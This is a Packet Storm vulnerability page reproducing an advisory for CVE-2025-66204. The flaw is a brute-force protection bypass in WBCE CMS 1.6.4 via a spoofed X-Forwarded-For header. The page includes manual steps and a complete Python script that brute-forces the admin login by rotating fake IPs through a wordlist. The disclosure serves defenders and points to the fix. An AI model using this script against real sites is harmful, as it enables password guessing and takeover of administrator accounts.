PACKETSTORM 8.1 HIGH

📄 WBCE CMS 1.6.4 Brute Force_PACKETSTORM:218798

8.1 / 10
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

WBCE CMS versions 1.6.4 suffers from a brute force protection bypass vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:218798
Published Apr 13, 2026 at 00:00

Affected Product

Affected Versions # CVE-2025-66204: WBCE CMS allows brute-force protection bypass using X-Forwarded-For header

## Overview

| Field | Details |
|---|---|
| **CVE ID** | [CVE-2025-66204](https://nvd.nist.gov/vuln/detail/CVE-2025-66204) |
| **Severity** | MEDIUM |
| **Advisory** | [View Advisory](https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |

## Affected Products

- **WBCE/WBCE_CMS**



## Details

### Summary
A brute-force protection bypass exists in WBCE CMS 1.6.4.
The login throttling mechanism blocks an IP address after 5 invalid login attempts.
However, the application fully trusts the X-Forwarded-For header without validating it or restricting its usage.

By modifying X-Forwarded-For on each request, an attacker can reset the counter indefinitely and gain unlimited password guessing attempts, effectively bypassing all brute-force protection.

### Details
WBCE CMS determines the client IP using the following logic:

1. If the request contains the header X-Forwarded-For, the application blindly trusts its value.
2. Otherwise, it falls back to REMOTE_ADDR.

Although WBCE is not running behind a reverse proxy by default, the login endpoint still parses X-Forwarded-For whenever it is present, even if added manually by the client.

Because the application does not verify that the request originates from a trusted proxy, an attacker can inject their own X-Forwarded-For header with any arbitrary IP address.

This results in:

- the attacker sends 5 invalid passwords using X-Forwarded-For: 10.0.0.1 → that IP is blocked
- attacker sends next request with X-Forwarded-For: 10.0.0.2 → treated as a completely new IP
- brute-force protection can be bypassed indefinitely

This behavior is reproducible on a clean, default installation with no reverse proxy in front of WBCE CMS.

### PoC
Steps

Attempt login with wrong password and send header:

X-Forwarded-For: 10.0.0.10

Repeat until lockout occurs (after 5 attempts).
<img width="1905" height="845" alt="image" src="https://github.com/user-attachments/assets/69b40271-21ba-48eb-8b14-912087a0a6c2" />

Change header to:

X-Forwarded-For: 10.0.0.11

Login attempts are reset and allowed again.
<img width="1912" height="921" alt="image" src="https://github.com/user-attachments/assets/bbdad8f5-c7c4-467e-b5f8-fb0650660b4c" />


Rotate through 10.0.0.x and brute-force without any limitation.

Automated PoC Script

I built a Python script that performs the attack automatically, rotating spoofed IPs every four attempts and detecting successful login.

<img width="538" height="406" alt="image" src="https://github.com/user-attachments/assets/ed526674-aa39-4e7b-9f9a-21ac17309525" />
...
<img width="588" height="361" alt="image" src="https://github.com/user-attachments/assets/b522c8a8-1905-44c8-a3c3-46fc93042ee8" />

<img width="445" height="477" alt="image" src="https://github.com/user-attachments/assets/ba89bb3c-9bee-44c9-9db1-46d5877e40d8" />

This proves complete bypass of the protection.

```python
import requests

# ==========================
# CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False


# ==========================
# LOGIN REQUEST
# ==========================

def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}

data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}

resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text

failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked

return success, failed, blocked, resp


# ==========================
# MAIN ROUTINE
# ==========================

def main():
print("[*] Loading wordlist...")

with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]

print(f"[*] Loaded {len(passwords)} passwords.\n")

current_ip_counter = 1
attempts_with_ip = 0

for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)

print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)

if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return

attempts_with_ip += 1

# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0

print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
main()

```

### Impact
1. Unlimited brute-forcing of any account;
2. Possible compromise of administrator accounts;
3. No rate-limiting enforcement;

## References

- https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
- https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
- https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5


## Disclaimer

This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.